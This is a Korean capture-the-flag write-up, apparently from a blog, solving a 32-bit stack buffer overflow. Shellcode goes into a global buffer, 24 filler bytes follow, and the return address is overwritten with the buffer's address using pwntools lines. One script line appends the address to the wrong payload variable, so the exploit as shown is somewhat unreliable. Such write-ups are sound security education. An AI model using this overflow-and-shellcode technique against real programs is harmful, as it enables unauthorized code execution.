

서버에 접속해 보면 Name, input으로 두 번 입력을 받는다.

코드를 보면 read 함수를 통해서 크기가 50바이트인 버퍼 name에 입력을 받고,
gets 함수를 통해서 크기가 20바이트인 변수 s에 입력을 받는다.

이 문제는 다음과 같은 방법으로 쉘을 획득할 수 있다.
① read 함수를 통해 입력 받는 전역 변수인 name에 쉘 코드를 채운다
② gets 함수를 통해 입력 받는 변수s (20바이트) + sfp (4바이트) = 24바이트를 문자 A로 채운다
③ ret (4바이트)에는 쉘 코드를 넣은 전역 변수 name의 주소를 넣어준다

| line 7 | payload+=b"\x31\xc0\x50\x68 ... | read 함수로 입력 받는 전역 변수 name에 쉘 코드를 채움 |
| line 10 | payload2+=b"A"*24 | gets 함수로 입력 받는 변수s + sfp의 크기 24바이트만큼 A를 채움 |
| line 11 | payload+= p32(0x0804A060) | ret (4바이트)에는 전역 변수 name의 주소를 넣어줌 |
| line 13 | r.sendlineafter(b'Name : ', payload) | 'Name : '을 출력한 후에 payload를 입력함 |
| line 14 | r.sendlineafter(b'input : ', payload2) | 'input : '을 출력한 후에 payload2를 입력함 |

'Layer7' 카테고리의 다른 글
| HackCTF : Simple_overflow_ver_2 (0) | 2021.07.12 |
|---|---|
| HackCTF : Simple_size_bof (0) | 2021.07.12 |
| Dream hack : basic_exploitation_000 (0) | 2021.07.11 |
| HackCTF : x64 buffer overflow (0) | 2021.06.16 |
| HackCTF : basic_BOF #2 (0) | 2021.06.16 |